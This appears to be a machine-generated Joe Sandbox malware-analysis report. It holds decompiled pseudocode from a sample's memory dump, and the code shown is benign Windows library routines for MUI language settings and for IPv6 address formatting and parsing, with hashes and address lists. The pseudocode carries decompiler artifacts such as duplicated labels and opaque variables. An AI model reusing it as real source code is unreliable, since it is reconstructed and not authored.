Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 009C8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E009C8788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E009C8460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E009AE025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E009C718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E009C8460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E009C718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E009C8460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E009C8460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E009C8460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E009C718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E009AE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E009A2340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E009BE679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E009AE2A8(_t322,  &_v68, _v16);
								if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E009BE679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E009AE2A8(_t322,  &_v68, _t236);
								if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E009C718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E009AE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E009A2340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E009BE679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E009AE2A8(_v12,  &_v68, _v16);
							if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E009BE679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E009AE2A8(_t322,  &_v68, _t269);
							if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E009C718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E009AE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E009A2340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E009BE679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E009AE2A8(_v12,  &_v68, _v16);
						if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E009BE679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E009AE2A8(_t322,  &_v68, _t296);
						if(E009C5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E009AE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x009c8788
0x009c8788
0x009c8791
0x009c8794
0x009c8798
0x009c879b
0x009c879e
0x009c87a1
0x009c87a4
0x009c87a7
0x009c87aa
0x009c87af
0x00a11ad3
0x009c8b0a
0x009c8b0d
0x009c8b13
0x009c8b19
0x009c8b1f
0x009c8b25
0x009c8b2b
0x009c8b31
0x009c8b37
0x009c8b3d
0x009c8b46
0x009c8b46
0x009c87c6
0x009c87d0
0x00a11ae0
0x00a11ae6
0x00a11af8
0x00a11af8
0x00a11afd
0x00a11afe
0x00a11b01
0x00a11b06
0x00a11b06
0x009c87d6
0x009c87f2
0x009c87f7
0x009c8807
0x009c880a
0x009c880f
0x009c8810
0x009c8813
0x009c8818
0x009c8818
0x009c882c
0x009c8831
0x009c8838
0x009c8908
0x009c8920
0x009c89f0
0x009c8a08
0x009c8af6
0x009c8af6
0x009c8af8
0x009c8afb
0x00a11beb
0x00a11beb
0x009c8b04
0x00a11bf8
0x00a11c0e
0x00a11c13
0x00a11c16
0x00a11c16
0x00a11bf8
0x00000000
0x009c8b04
0x009c8a0e
0x009c8a11
0x009c8a14
0x009c8a15
0x009c8a18
0x009c8a22
0x009c8b59
0x009c8a28
0x009c8a3c
0x009c8a3c
0x009c8a42
0x00a11bb0
0x00a11b11
0x00a11b11
0x00000000
0x009c8a48
0x009c8a51
0x009c8a5b
0x009c8a5e
0x009c8a61
0x009c8a69
0x009c8a69
0x009c8a6d
0x00000000
0x00000000
0x009c8a74
0x009c8a7c
0x009c8a7d
0x009c8a91
0x009c8a93
0x009c8a93
0x009c8a98
0x009c8a9b
0x009c8aa1
0x009c8aa1
0x009c8aa4
0x009c8aaa
0x009c8ab1
0x009c8ac5
0x009c8ac7
0x009c8ac7
0x009c8ac5
0x009c8ace
0x00a11bc9
0x00a11bce
0x00a11bd2
0x00a11bd2
0x009c8ad8
0x009c8aeb
0x009c8aeb
0x009c8af0
0x009c8af4
0x00000000
0x009c8af4
0x009c8a42
0x009c8926
0x009c8929
0x009c892c
0x009c892d
0x009c8930
0x009c8935
0x009c893a
0x009c8b51
0x009c8940
0x009c8954
0x009c8954
0x009c895a
0x00a11b63
0x00000000
0x009c8960
0x009c8969
0x009c8973
0x009c8976
0x009c8979
0x009c897e
0x009c8981
0x009c8981
0x009c8986
0x00000000
0x00000000
0x00a11b6e
0x00a11b74
0x00a11b7b
0x00a11b8f
0x00a11b91
0x00a11b91
0x00a11b99
0x00a11b9c
0x00a11ba2
0x00a11ba2
0x009c898c
0x009c8992
0x009c8999
0x009c89ad
0x00a11ba8
0x00a11ba8
0x009c89ad
0x009c89b6
0x009c89c8
0x009c89cd
0x009c89d0
0x009c89d0
0x009c89d6
0x009c89e8
0x009c89e8
0x009c89ed
0x00000000
0x009c89ed
0x009c895a
0x009c883e
0x009c8841
0x009c8844
0x009c8845
0x009c8848
0x009c884d
0x009c8852
0x009c8b49
0x009c8858
0x009c886c
0x009c886c
0x009c8872
0x00a11b0e
0x00000000
0x009c8878
0x009c8881
0x009c888b
0x009c888e
0x009c8891
0x009c8896
0x009c8899
0x009c8899
0x009c889e
0x00000000
0x00000000
0x00a11b21
0x00a11b27
0x00a11b2e
0x00a11b42
0x00a11b44
0x00a11b44
0x00a11b4c
0x00a11b4f
0x00a11b55
0x00a11b55
0x009c88a4
0x009c88aa
0x009c88b1
0x009c88c5
0x00a11b5b
0x00a11b5b
0x009c88c5
0x009c88ce
0x009c88e0
0x009c88e5
0x009c88e8
0x009c88e8
0x009c88ee
0x009c8900
0x009c8900
0x009c8905
0x00000000
0x009c8905

APIs

_wcspbrk.LIBCMT ref: 009C8891
_wcspbrk.LIBCMT ref: 009C8979
_wcspbrk.LIBCMT ref: 009C8A61
_wcspbrk.LIBCMT ref: 009C8A9B
_wcspbrk.LIBCMT ref: 00A11B9C

Strings

Kernel-MUI-Language-SKU, xrefs: 009C89FC
WindowsExcludedProcs, xrefs: 009C87C1
Kernel-MUI-Language-Disallowed, xrefs: 009C8914
Kernel-MUI-Number-Allowed, xrefs: 009C87E6
Kernel-MUI-Language-Allowed, xrefs: 009C8827

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 706fd3ad53eb3a4508093506800d61a8c1b84a5aa439fb5caeda8e8e76b7f0dc
Instruction ID: 65436cbde044b0565dac12a08dacd56a8b444a715543db40564c185c3775db4e
Opcode Fuzzy Hash: 706fd3ad53eb3a4508093506800d61a8c1b84a5aa439fb5caeda8e8e76b7f0dc
Instruction Fuzzy Hash: 63F1F7B2D04209EFCF51EF95C981EEEB7B8FF48300F15446AE605A7211EB349A45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009E13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E009E13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E009D7707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x9a2926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E009D7707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x9a9cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E009D7707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E009D7707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E009D7707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E009D7707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x009e13d5
0x009e13d9
0x009e13dc
0x009e13de
0x009e13e1
0x009e13e8
0x009e13ee
0x00a0e8fd
0x00000000
0x00a0e921
0x00a0e921
0x00a0e928
0x00a0e982
0x00a0e98a
0x00000000
0x00a0e99a
0x00a0e99e
0x00a0e9a3
0x00a0e9a8
0x00a0e9b9
0x00a0e978
0x00000000
0x00a0e978
0x00a0e98a
0x00a0e92a
0x00a0e931
0x00a0e944
0x00a0e944
0x00a0e950
0x00a0e954
0x00a0e959
0x00a0e95e
0x00a0e963
0x00a0e970
0x00000000
0x00a0e975
0x00a0e93b
0x00a0e980
0x00000000
0x00a0e980
0x00a0e942
0x00a0e94b
0x00000000
0x00a0e94b
0x00000000
0x00a0e942
0x009e13f4
0x009e13f4
0x009e13f9
0x009e13fc
0x009e13ff
0x009e1406
0x00a0e9cc
0x00a0e9d2
0x00a0e9d2
0x00a0e9cc
0x009e140c
0x009e1411
0x009e1431
0x009e143a
0x009e143c
0x009e143f
0x009e143f
0x009e1442
0x009e1447
0x009e14a8
0x009e14ac
0x00a0e9e2
0x00a0e9e7
0x00a0e9ec
0x00a0ea05
0x00a0ea05
0x00000000
0x009e1449
0x00000000
0x009e1449
0x009e144c
0x009e1459
0x009e1462
0x009e1469
0x009e146a
0x009e1470
0x009e1473
0x009e1476
0x009e1476
0x009e1490
0x009e1495
0x009e138e
0x009e1390
0x009e1397
0x009e1398
0x009e1399
0x009e13a1
0x009e13a4
0x009e13a4
0x009e1498
0x009e149c
0x009e149f
0x009e14a2
0x00000000
0x00000000
0x009e14a4
0x00000000
0x009e14a4
0x009e1413
0x009e1415
0x009e1416
0x009e1419
0x009e141c
0x009e1422
0x009e13b7
0x009e13bc
0x009e13bf
0x009e13bf
0x009e13c2
0x009e1424
0x009e1424
0x009e1424
0x009e1427
0x009e142b
0x009e142c
0x009e142c
0x009e142c
0x00000000
0x009e141c
0x009e1411

APIs

___swprintf_l.LIBCMT ref: 009E146B
___swprintf_l.LIBCMT ref: 009E1490
___swprintf_l.LIBCMT ref: 00A0E970

Strings

::%hs%u.%u.%u.%u, xrefs: 00A0E967
:%u.%u.%u.%u, xrefs: 00A0E9F4
ffff:, xrefs: 00A0E94B
::ffff:0:%u.%u.%u.%u, xrefs: 00A0E9B0

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 0d432d3b7fb4a386975ecf8e7adec361be706cc47ec2a1319347e4242117fb2a
Instruction ID: bb9c42c630166003fd9e98af13f6af8369a6fa2802d3cce3f7a170ab226f72ff
Opcode Fuzzy Hash: 0d432d3b7fb4a386975ecf8e7adec361be706cc47ec2a1319347e4242117fb2a
Instruction Fuzzy Hash: 5361F871904695A6CF35DF9AC8808BEBBB9FFD5300754C52EF4D647681E234AE40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009E0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009E0B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E009B8980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							L009ADFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = L009E0CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = L009E0CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E009E06BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E009E06BA(_t135, _t178) == 0 || E009E0A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = L009E0CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = L009E0CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E009E06BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E009E06BA(_t124, _t142) == 0 || E009E0A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x009e0b21
0x009e0b24
0x009e0b27
0x009e0b2a
0x009e0b2d
0x009e0b30
0x009e0b33
0x009e0b36
0x009e0b39
0x009e0b3e
0x009e0c65
0x009e0c68
0x009e0c6a
0x009e0c6f
0x00a0eb42
0x00000000
0x00000000
0x00a0eb48
0x00a0eb48
0x009e0c75
0x009e0c7a
0x00a0eb54
0x00000000
0x00000000
0x00000000
0x00a0eb5a
0x009e0c80
0x009e0c84
0x00a0eb98
0x00000000
0x00000000
0x00a0eba6
0x009e0cb8
0x009e0cba
0x009e0cd3
0x009e0cda
0x009e0ce4
0x009e0ce9
0x00000000
0x009e0cec
0x009e0c8c
0x00a0eb63
0x00000000
0x00000000
0x00a0eb70
0x00a0eb75
0x00a0eb7d
0x00000000
0x00000000
0x00a0eb8c
0x00000000
0x00a0eb8c
0x009e0c96
0x00000000
0x00000000
0x009e0ca2
0x009e0cac
0x009e0cb4
0x00000000
0x00000000
0x009e0b44
0x009e0b47
0x009e0b49
0x00000000
0x00000000
0x009e0b4f
0x009e0b50
0x00000000
0x00000000
0x009e0b56
0x009e0b62
0x009e0b7c
0x009e0bac
0x009e0a0f
0x00a0eaaa
0x00000000
0x00a0eac4
0x00a0eac4
0x009e0bd0
0x009e0bd0
0x009e0bd4
0x009e0bd9
0x00000000
0x00000000
0x009e0bdb
0x009e0be0
0x00a0eb0e
0x009e0a1a
0x00000000
0x009e0a1a
0x00a0eb1a
0x00a0eb1f
0x00a0eb27
0x00000000
0x00000000
0x00a0eb36
0x00000000
0x00a0eb36
0x009e0bea
0x00000000
0x00000000
0x009e0bf6
0x009e0c00
0x009e0c03
0x009e0c0b
0x00000000
0x009e0c0b
0x00a0eaaa
0x00000000
0x009e0a15
0x009e0bb6
0x00000000
0x009e0bc6
0x009e0bc6
0x009e0bcb
0x009e0c15
0x00000000
0x00000000
0x009e0c1d
0x009e0c20
0x009e0c21
0x009e0c24
0x009e0c24
0x009e0c26
0x00000000
0x009e0c26
0x009e0bcd
0x00000000
0x009e0bcd
0x009e0b89
0x009e0b89
0x009e0b90
0x00000000
0x00000000
0x009e0b96
0x00000000
0x009e0b96
0x009e0a04
0x009e0a04
0x009e0b9a
0x009e0b9a
0x009e0b9b
0x009e0b9f
0x00000000
0x00000000
0x00000000
0x009e0ba5
0x009e0ac7
0x009e0aca
0x00a0eacf
0x00000000
0x00a0eade
0x00a0eade
0x00a0eae3
0x00000000
0x00000000
0x00a0eaf3
0x00a0eaf6
0x00a0eaf7
0x00a0eafe
0x00a0eb01
0x00000000
0x00a0eb01
0x00a0eacf
0x009e0ad0
0x009e0ad4
0x00000000
0x00000000
0x009e0ada
0x009e0ae6
0x009e0c34
0x00000000
0x009e0c47
0x009e0c49
0x009e0c4a
0x009e0c4e
0x009e0c51
0x009e0c54
0x009e0c57
0x009e0c5a
0x00000000
0x00000000
0x00000000
0x009e0c60
0x009e0afb
0x009e0afe
0x009e0b02
0x009e0b05
0x009e0b08
0x00000000
